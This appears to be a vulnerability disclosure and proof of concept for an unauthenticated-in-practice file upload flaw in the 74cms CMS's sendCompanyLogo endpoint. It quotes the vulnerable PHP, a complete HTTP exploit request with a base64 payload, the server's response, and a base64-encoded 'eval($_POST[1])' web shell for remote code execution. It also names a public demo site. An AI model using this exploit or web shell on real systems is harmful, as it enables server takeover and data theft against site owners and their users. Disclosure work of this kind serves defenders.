You can get the latest source code here: https://www.74cms.com/download/detail/161.html .
Also, this is the official demo site: https://74cmsse.tywangcai.com/ .
Fast locate to function: application/v1_0/controller/company/Index.php#sendCompanyLogo.
// 生成企业logo
public function sendCompanyLogo(){
$imgBase64 = input('post.imgBase64/s','','trim');
$company_id = 100;
if (preg_match('/^(data:\s*image\/(\w+);base64,)/',$imgBase64,$res)) {
//获取图片类型
$type = $res[2];
//图片保存路径
$new_file = "upload/company_logo/".$company_id.'/';
if (!file_exists($new_file)) {
mkdir($new_file,0755,true);
}
//图片名字
$new_file = $new_file.time().'.'.$type;
if (file_put_contents($new_file,base64_decode(str_replace($res[1],'', $imgBase64)))) {
$id = model('Uploadfile')->insertGetId([
'save_path' => substr($new_file,6),
'platform' => 'default',
'addtime' => time()
]);
$arr = [
'file_id' => $id,
'file_url' => config('global_config.sitedomain').'/'.$new_file
];
$this->ajaxReturn(200,'生成成功',$arr);
} else {
$this->ajaxReturn(500,'生成失败');
}
}
}
It is obvious that only passing an imgBase64 parameter with the POST method can complete the malicious file upload, without any waf.
imgBase64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
Additionally, this route also has authentication, described in function application/v1_0/controller/company/Index.php#_initialize.
public function _initialize()
{
parent::_initialize();
$this->checkLogin(1);
}
Following this checkLogin function, the address is application/v1_0/controller/common/Base.php.
public function checkLogin($need_utype = 0)
{
if ($need_utype == 0) {
$code = 50009;
$tip = '请先登录';
} else {
$tip =
'当前操作需要登录' .
($need_utype == 1 ? '企业' : '个人') .
'会员';
$code = $need_utype==1?50011:50010;
}
if (
$this->userinfo === null ||
($need_utype > 0 && $this->userinfo->utype != $need_utype)
) {
$this->ajaxReturn($code, $tip);
}
// ...
}
This function requires permission as a company member, but this is very simple because it is a frontend function, and anyone can register as a company member.
It's very clear from the official demo site: https://74cmsse.tywangcai.com/member/reg/company that they allow anyone to register as a company user.
So after completing the registration, sending the following EXP can complete the exploit.
POST /v1_0/company/index/sendCompanyLogo HTTP/1.1
Host: localhost:7888
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
user-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: qscms_visitor=%7B%22utype%22%3A1%2C%22mobile%22%3A%2215212345678%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ%22%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
imgBase64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
Then the server will return an uploaded file address, which can be accessed directly.
HTTP/1.1 200 OK
Server: nginx/1.19.2
Date: Thu, 07 Mar 2024 13:53:11 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.1.20
Access-Control-Allow-Origin:
Access-Control-Allow-Methods: POST,OPTIONS,GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: x-requested-with,content-type,x-token,safecode,sessionid,admintoken,user-token,platform,subsiteid
Set-Cookie: qscms_visitor=%7B%22utype%22%3A1%2C%22mobile%22%3A%2215212345678%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ%22%7D; expires=Thu, 14-Mar-2024 13:53:11 GMT; Max-Age=604800; path=/
Content-Length: 141
{"code":200,"message":"生成成功","data":{"file_id":"14","file_url":"http:\/\/localhost:7888\/upload\/company_logo\/100\/1709819591.php"}}
Of course, you can replace the above imgBase64, I just used phpinfo() for testing here.
# <?php eval($_POST[1]);
imgBase64=data:image/php;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
In this way, you can achieve RCE.
Response:
Browsing the URL: